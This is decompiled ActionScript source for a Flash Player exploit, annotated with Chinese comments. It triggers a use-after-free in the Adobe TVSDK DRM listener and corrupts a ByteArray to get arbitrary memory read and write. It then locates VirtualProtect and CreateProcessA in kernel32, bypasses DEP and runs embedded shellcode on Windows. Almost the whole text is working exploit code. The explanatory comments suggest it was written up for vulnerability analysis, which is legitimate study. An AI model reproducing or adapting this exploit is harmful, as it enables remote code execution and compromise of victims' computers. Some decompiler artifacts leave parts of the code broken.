MainExp
1 package 2 { 3 import flash.display.Sprite; 4 import flash.utils.ByteArray; 5 import flash.utils.Endian; 6 7 public class MainExp extends Sprite 8 { 9 10 public static var var_1:Class = shellcodBytes; 11 12 public static var data14:ByteArray; 13 14 15 private var var_3:UAFGenerator; 16 17 public function MainExp() 18 { 19 super(); 20 data14 = new var_1() as ByteArray; 21 data14.endian = Endian.LITTLE_ENDIAN; 22 this.var_3 = new UAFGenerator(this); 23 } 24 25 public function flash21() : void 26 { 27 } 28 } 29 }
UAFGenerator
1 package 2 { 3 import com.adobe.tvsdk.mediacore.MediaPlayer; 4 import com.adobe.tvsdk.mediacore.PSDK; 5 import com.adobe.tvsdk.mediacore.PSDKEventDispatcher; 6 import flash.events.TimerEvent; 7 import flash.net.LocalConnection; 8 import flash.utils.Endian; 9 import flash.utils.Timer; 10 11 public class UAFGenerator 12 { 13 14 15 var listener:DRM_obj; 16 17 var media_player:MediaPlayer; 18 19 var DRM_obj_2:DRM_obj; 20 21 var var_17:Mem_Arr; 22 23 var Timer:Timer; 24 25 var start_addr:uint; 26 27 var var_1:MainExp; 28 29 public function UAFGenerator(param1:MainExp) 30 { 31 var param1:MainExp = param1; 32 ; 33 super(); 34 this.var_1 = param1; 35 this.method_2(); 36 try 37 { 38 new LocalConnection().connect("foo");// LocalConnection().connect会主动调用gc释放没有的引用的内存listener 39 new LocalConnection().connect("foo");// 第二次的LocalConnection().connect调用会产生异常,异常处理过程中又会new一个DRM_obj的对象赋值给DRM_obj_2。 40 } 41 catch(e:Error) 42 { 43 this.DRM_obj_2 = new DRM_obj(); //代码注释掉将会触发空指针(listener)访问崩溃。 44 } 45 this.Timer = new Timer(100,1000); 46 this.Timer.addEventListener("timer",this.uafcheck); 47 this.Timer.start(); 48 } 49 50 public function method_2() : void 51 { 52 var sdk:PSDK = PSDK.pSDK;//sdk 53 var dispatch:PSDKEventDispatcher = sdk.createDispatcher();//dispatch 54 this.media_player = sdk.createMediaPlayer(dispatch); 55 this.listener = new DRM_obj(); 56 this.media_player.drmManager.initialize(this.listener); //通过DRMManager初始化DRM object 57 this.listener = null;//为了GC内存 58 } 59 60 public function uafcheck(param1:TimerEvent) : void 61 { 62 if(this.DRM_obj_2.a1 != 4369) //0x1111 通过计时器来检查DRM object的a1是不是被修改了,如果已经被修改,则去做利用的部分. 63 { 64 this.Timer.stop(); 65 this.flash25(); 66 } 67 } 68 69 public function flash24() : void 70 { 71 } 72 73 public function flash25() : void //思路是ByteArray占位,以及修改ByteArray的Length,获取全地址访问的权限。 74 { // allocate ByteArray object to place freed memory 75 var sdk:int = 0; 76 var dispatch:uint = null; 77 this.var_17 = new Mem_Arr(); //var_17是个ByteArray对象,通过修改ByteArray对象的Length可以完成任意内存读写,该处的漏洞利用技巧和hacking team的flash exploit技巧类似,相关代码已经开源就不再详述。 78 this.var_17.length = 512; 79 if(this.DRM_obj_2.a14 != 0) 80 {// 修改 length of ByteArray 81 sdk = 0; 82 while(sdk < 5) 83 {// 将bytearray对象的元数据复制到数据区域 84 this.DRM_obj_2.a32 = this.DRM_obj_2.a14 + 8 * sdk + 7; 85 this.var_17.flash26(sdk * 2 + 1,this.var_17.flash25()); 86 sdk++; 87 } 88 this.var_17.a11 = 0; 89 this.start_addr = uint(uint(this.DRM_obj_2.a14)); 90 this.DRM_obj_2.a14 = this.DRM_obj_2.a31 + 19 * 4 + 16 - 1; // modify meta pointer to bytearray data area 91 dispatch = this.DRM_obj_2.a22 ^ this.DRM_obj_2.a26; 92 this.DRM_obj_2.a22 = 0; 93 this.DRM_obj_2.a23 = -1; // modify lenght/capability of bytearray 94 this.DRM_obj_2.a24 = -1; // modify lenght/capability of bytearray 95 this.DRM_obj_2.a26 = this.DRM_obj_2.a22 ^ dispatch; 96 this.DRM_obj_2.a27 = this.DRM_obj_2.a23 ^ dispatch; 97 this.DRM_obj_2.a28 = this.DRM_obj_2.a24 ^ dispatch; 98 this.DRM_obj_2.a29 = this.DRM_obj_2.a25 ^ dispatch; 99 this.var_17.endian = Endian.LITTLE_ENDIAN; 100 Primit.flash20(this.var_17,this.DRM_obj_2); 101 this.DRM_obj_2.a14 = this.start_addr; // recover meta pointer 102 return; 103 } 104 this.var_1.flash21(); 105 } 106 } 107 }
Primit
1 package 2 { 3 import flash.system.Capabilities; 4 5 public class Primit 6 { 7 8 static var flash21:Mem_Arr; 9 10 static var flash39:DRM_obj; 11 12 static var flash27:uint; 13 14 public static var flash70:Boolean; 15 16 public static var flash72:Boolean; 17 18 public static var var_19:Boolean; 19 20 { 21 flash70 = Capabilities.isDebugger; 22 flash72 = Capabilities.version.toUpperCase().search("WIN") >= 0; 23 var_19 = Capabilities.version.toUpperCase().search("MAC") >= 0; 24 } 25 26 public function Primit() 27 { 28 super(); 29 } 30 31 static function flash32(param1:uint) : uint 32 { 33 if(param1 < 4096 || param1 >= 3221225472) //指向用户内存(应该小于0Xc0000000,大于0x1000,这样才不会有触发null页守卫或内核内存资产的风险): 34 { 35 throw new Error(""); 36 } 37 flash21.position = param1; 38 return flash21.readUnsignedInt(); 39 } 40 41 static function flash34(param1:uint, param2:uint) : * 42 { 43 if(param1 < 4096 || param1 >= 3221225472) 44 { 45 throw new Error(""); 46 } 47 flash21.position = param1; 48 flash21.writeUnsignedInt(param2); 49 } 50 51 static function flash35(param1:Object) : uint 52 { 53 flash21.a13 = param1; 54 return flash39.a32 - 1; 55 } 56 57 static function flash36(param1:Object) : uint 58 { 59 var _loc2_:uint = flash35(param1) + 24; 60 _loc2_ = flash32(_loc2_); 61 if(!flash27) 62 { 63 while(flash27 < 50 && flash32(_loc2_ + flash27) != param1[0]) 64 { 65 flash27 = flash27 + 4; 66 } 67 if(flash27 >= 50) 68 { 69 throw new Error(""); 70 } 71 } 72 return _loc2_ + flash27; 73 } 74 75 public static function flash20(:Mem_Arr, :DRM_obj) : * 76 { 77 var var_7:uint = 0; 78 var Primit0:uint = 0; 79 var var_11:Mem_Arr = param1; 80 try 81 { 82 flash21 = var_11; 83 var_7 = var_11.length;//长度 84 flash39 = param2; 85 if(var_7 != 4294967295) //0xffffffff 86 { 87 throw new Error(""); 88 } 89 if(!flash72) //在windows运行 90 { 91 throw new Error(""); 92 } 93 gadget.flash20(); 94 return; 95 } 96 catch(e:Error) 97 { 98 return; 99 } 100 } 101 102 public static function method_3(param1:uint) : String 103 { 104 } 105 } 106 }
gadget
1 package 2 { 3 class gadget extends Primit 4 { 5 6 static var CreateProcessFunc:uint; 7 8 static var method_2:uint; 9 10 11 function gadget() 12 { 13 super(); 14 } 15 16 static function flash1000(param1:uint = 0, ... rest) : * 17 { 18 } 19 20 static function findfunc() : uint 21 { 22 /* 23 1、定位MZ,先对准64k,然后向上返回0x10000,直到找到MZ magic number ->,这表示flash模块的基本地址。 24 2、定位NT_Header,然后通过PEB遍历导入表。 25 3、定位内核32。dll模块名称通过定期比较名称的最大长度为12。 26 4、通过原First Thunk定位VirtualAlloc和CreateProcessA函数。 27 */ 28 var b0:uint = 0; 29 var b:uint = 0; 30 var var_12:uint = 0; 31 var size:uint = 0; 32 var oft:uint = 0; 33 var ft:uint = 0; 34 var gadget3:uint = 0; 35 var c:int = 0; 36 try 37 { 38 for(b0 = flash32(flash35(flash21)) & 4294901760,b = b0 - 8388608; var_12 < 512; ) 39 { 40 if((flash32(b) & 65535) == 23117) 41 { 42 b0 = 0; 43 break; 44 } 45 var_12++; 46 b = b - 65536; 47 } 48 if(!b0) 49 { 50 method_2 = b; 51 b0 = b + flash32(b + 60); 52 if(flash32(b0) == 17744) 53 { 54 size = flash32(b0 + 132); 55 for(b0 = b + flash32(b0 + 128),var_12 = 3 * 4; var_12 < size; var_12 = var_12 + 5 * 4) 56 { 57 flash21.position = b + flash32(b0 + var_12); 58 if(flash21.readUTFBytes(12).toLowerCase() == "kernel32.dll") 59 { 60 oft = flash32(b0 + var_12 - 3 * 4); 61 ft = flash32(b0 + var_12 + 4); 62 break; 63 } 64 } 65 if(!(oft == 0 || ft == 0)) 66 { 67 oft = oft + b; 68 var_12 = 0; 69 while(var_12 < 256) 70 { 71 b0 = flash32(oft); 72 if(b0 == 0) 73 { 74 throw new Error(""); 75 } 76 flash21.position = b + b0; 77 if(flash21.readUTF().toLowerCase() == "virtualprotect") 78 { 79 gadget3 = flash32(b + ft + var_12 * 4); 80 c++; 81 if(c > 1) 82 { 83 break; 84 } 85 } 86 else 87 { 88 flash21.position = b + b0; 89 if(flash21.readUTF().toLowerCase() == "createprocessa") 90 { 91 CreateProcessFunc = flash32(b + ft + var_12 * 4); 92 c++; 93 if(c > 1) 94 { 95 break; 96 } 97 } 98 } 99 var_12++; 100 oft = oft + 4; 101 } 102 return gadget3; 103 } 104 throw new Error(""); 105 } 106 throw new Error(""); 107 } 108 throw new Error(""); 109 } 110 catch(e:Error) 111 { 112 throw new Error(""); 113 } 114 return 0; 115 } 116 3 117 static function method_5(param1:uint, param2:uint, param3:uint) : * 118 { 119 var _loc4_:uint = 0; 120 flash1000(); 121 var _loc5_:uint = flash35(flash1000); 122 var _loc6_:uint = flash32(flash32(flash32(_loc5_ + 8) + 20) + 4) + (!!flash70?188:176); 123 if(flash32(_loc6_) < 65536) 124 { 125 _loc6_ = _loc6_ + 4; 126 } 127 _loc6_ = flash32(_loc6_); 128 var _loc7_:uint = flash32(_loc6_); 129 var _loc8_:uint = flash32(_loc5_ + 28); 130 var _loc9_:uint = flash32(_loc5_ + 32); 131 var _loc10_:Vector.<uint> = new Vector.<uint>(256); 132 while(_loc4_ < 256) 133 { 134 _loc10_[_loc4_] = flash32(_loc7_ - 128 + _loc4_ * 4); 135 _loc4_++; 136 } 137 _loc10_[32 + 7] = param1; 138 flash34(_loc5_ + 28,param2); 139 flash34(_loc5_ + 32,param3); 140 flash34(_loc6_,flash36(_loc10_) + 128); 141 var _loc11_:Array = new Array(65); 142 var _loc12_:* = flash1000.call.apply(null,_loc11_); 143 flash34(_loc6_,_loc7_); 144 flash34(_loc5_ + 28,_loc8_); 145 flash34(_loc5_ + 32,_loc9_); 146 } 147 148 static function flash20() : * //绕过DEP,将shellcode内存保护更改为“Execute”,然后执行shellcode 149 { 150 var s:int = 0; 151 var flash2003:Array = null; 152 var flash2005:Vector.<uint> = null; 153 var res:* = undefined; 154 var flash2004:String = null; 155 try 156 { 157 flash2003 = []; 158 MainExp.data14.position = 0; 159 for(s = 0; s < MainExp.data14.length; s = s + 4) 160 { 161 flash2003.push(MainExp.data14.readUnsignedInt()); 162 } 163 flash2005 = Vector.<uint>(flash2003); 164 var gadget4:uint = flash36(flash2005); 165 var gadget7:uint = findfunc(); 166 if(gadget7 != 0) 167 { 168 method_5(gadget7,gadget4,flash2005.length * 4);//?shellcode blob被复制到一个向量 169 var gadget8:uint = flash35(flash1000); 170 gadget8 = flash32(flash32(gadget8 + 28) + 8) + 4; 171 var gadget9:uint = flash32(gadget8); 172 flash34(gadget8,gadget4); 173 res = flash1000.call(null,CreateProcessFunc);//?利用定位内核32!VirtualProtect Kernel32 !CreateProcessA函数,执行这些函数,并跳到内存中的shell代码执行。 174 flash34(gadget8,gadget9); 175 return; 176 } 177 throw new Error(""); 178 } 179 catch(e:Error) 180 { 181 throw new Error(""); 182 } 183 } 184 } 185 }
DRM_obj
1 package 2 { 3 import com.adobe.tvsdk.mediacore.DRMOperationCompleteListener; 4 5 public class DRM_obj implements DRMOperationCompleteListener 6 { 7 8 9 var a1:uint = 4369; //0x1111 10 11 var a2:uint = 8738;//0x2222 12 13 var a3:uint = 13107;//0x3333 14 15 var a4:uint = 17476;//0x4444 16 17 var a5:uint = 21845;//0x5555 18 19 var a6:uint = 26214;//0x6666 20 21 var a7:uint = 30583;//0x7777 22 23 var a8:uint = 34952;//0x8888 24 25 var a9:uint = 39321;//0x9999 26 27 var a10:uint = 43690;//0xaaaa 28 29 var a11:uint = 4369;//0x1111 30 31 var a12:uint = 8738;//0x2222 32 33 var a13:uint = 13107;//0x3333 34 35 var a14:uint = 17476;//0x4444 36 37 var a15:uint = 21845;//0x5555 38 39 var a16:uint = 26214;//0x6666 40 41 var a17:uint = 30583;//0x7777 42 43 var a18:uint = 34952;//0x8888 44 45 var a19:uint = 39321;//0x9999 46 47 var a20:uint = 43690;//0xaaaa 48 49 var a21:uint = 4369;//0x1111 50 51 var a22:uint = 8738;//0x2222 52 53 var a23:uint = 13107;//0x3333 54 55 var a24:uint = 17476;//0x4444 56 57 var a25:uint = 21845;//0x5555 58 59 var a26:uint = 26214;//0x6666 60 61 var a27:uint = 30583;//0x7777 62 63 var a28:uint = 34952;//0x8888 64 65 var a29:uint = 39321;//0x9999 66 67 var a30:uint = 43690;//0xaaaa 68 69 var a31:uint = 4369;//0x1111 70 71 var a32:uint = 8738;//0x2222 72 73 var a33:uint = 13107;//0x3333 74 75 var a34:uint = 17476;//0x4444 76 77 var a35:uint = 17476;//0x4444 78 79 public function DRM_obj() 80 { 81 super(); 82 } 83 84 public function onDRMOperationComplete() : void 85 { 86 } 87 88 public function onDRMError(param1:uint, param2:uint, param3:String, param4:String) : void 89 { 90 } 91 } 92 }
Mem_Arr
1 package 2 { 3 import flash.utils.ByteArray; 4 5 public dynamic class Mem_Arr extends 6 { 7 8 9 var a1:uint = 17;//0x11 10 11 var a2:uint = 34;//0x22 12 13 var a3:uint = 51;//0x33 14 15 var a4:uint = 68;//0x44 16 17 var a5:uint = 85;//0x55 18 19 var a6:uint = 102;//0x66 20 21 var a7:uint = 119;//0x77 22 23 var a8:uint = 136;//0x88 24 25 var a9:uint = 153;//0x99 26 27 var a10:uint = 170;//0xaa 28 29 var a11:uint = 187;//0xbb 30 31 var a12:Object; 32 33 var a13:Object; 34 35 public function Mem_Arr() 36 { 37 super(); 38 this.a12 = this; 39 } 40 41 public function flash25() : Object 42 { 43 var _loc_:Object = this.flash27(this.a13 as Number); 44 return _loc_; 45 } 46 47 public function flash26(param1:int, parm2:Object) : void 48 { 49 this["a" + param1++] = parm2.low; 50 this["a" + param1] = parm2.hi; 51 } 52 53 public function flash27(param1:Number) : Object 54 { 55 this.position = 0; 56 this.writeDouble(param1); 57 this.position = 0; 58 return { 59 "hi":this.readUnsignedInt(), 60 "low":this.readUnsignedInt() 61 }; 62 } 63 } 64 }
shellcodBytes
1 package 2 { 3 import mx.core.ByteArrayAsset; 4 5 [ExcludeClass] 6 public class shellcodBytes extends ByteArrayAsset 7 { 8 9 10 public function shellcodBytes() 11 { 12 super(); 13 } 14 } 15 }